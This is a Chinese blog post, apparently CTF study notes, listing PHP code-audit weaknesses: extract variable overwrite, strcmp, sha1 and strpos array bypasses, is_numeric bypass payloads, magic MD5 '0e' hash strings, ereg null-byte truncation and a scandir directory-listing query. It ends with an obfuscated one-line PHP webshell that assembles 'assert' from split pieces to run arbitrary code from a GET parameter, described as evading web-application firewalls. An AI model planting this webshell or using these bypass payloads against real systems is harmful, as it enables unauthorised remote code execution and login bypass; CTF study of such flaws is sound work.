代码审计的几个知识点

1. extract变量覆盖:

extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

2. trim():

移除字符串两侧的空白字符或其他预定义字符。# - file_get_contents():将整个文件读入一个字符串

3. strcmp():

int strcmp ( string str1,string str2 )
str1是第一个字符串,str2是第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
但是如果我们传入非字符串类型的数据的时候,这个函数将发生错误,在5.3之前的php中,显示了报错的警告信息后,将return 0 ! 也就是虽然报了错,但却判定其相等了。
因此,解这道题,就只要传入一个非字符串类型的变量即可,一般情况下,我们传数组

4.is_numeric():

判断变量是否为数字或数字字符串

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

解题思路:is_numeric()函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断
PAYLOAD:?password=2345%20或者?password=2345%00还可以是?password[]=2345

5.sha():

处理数组的时候会返回null

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>

所以构造:?name[]=1&password[]=2

6.md5()

下面是一些特殊md5值

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

7. ==

可以直接比较十进制和十六进制
3735929054 == 0xdeadc0de

8.ereg()

可以用%00进行截断

9.strpos():

输入数组返回null

10.?s=print_r(scandir(%27./%27))

上面是执行目录扫描
下面是过狗一句话

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 在C语言中,五种基本数据类型存储空间长度的排列顺序是: A)char B)char=int<=float C)ch...
    夏天再来阅读 8,729评论 0 2
  • 前言 最先接触编程的知识是在大学里面,大学里面学了一些基础的知识,c语言,java语言,单片机的汇编语言等;大学毕...
    oceanfive阅读 8,337评论 0 7
  • PHP:include()``include_once()``require()``require_once() ...
    寻梦xunm阅读 4,290评论 1 4
  • 今晚注定寒冷无比,我却无能为力,只恨自己走不出、来不了 其实你爱他,便早已打败了我的一切 晚安,勿凉
    子彦Ryan阅读 1,527评论 0 1
  • 这几天看的好多文章都和认知有关。突然意识到,很多时候我们说话做事是从自己的角度出发,觉得这么做会让我觉得舒服,却没...
    念念1999阅读 4,340评论 0 2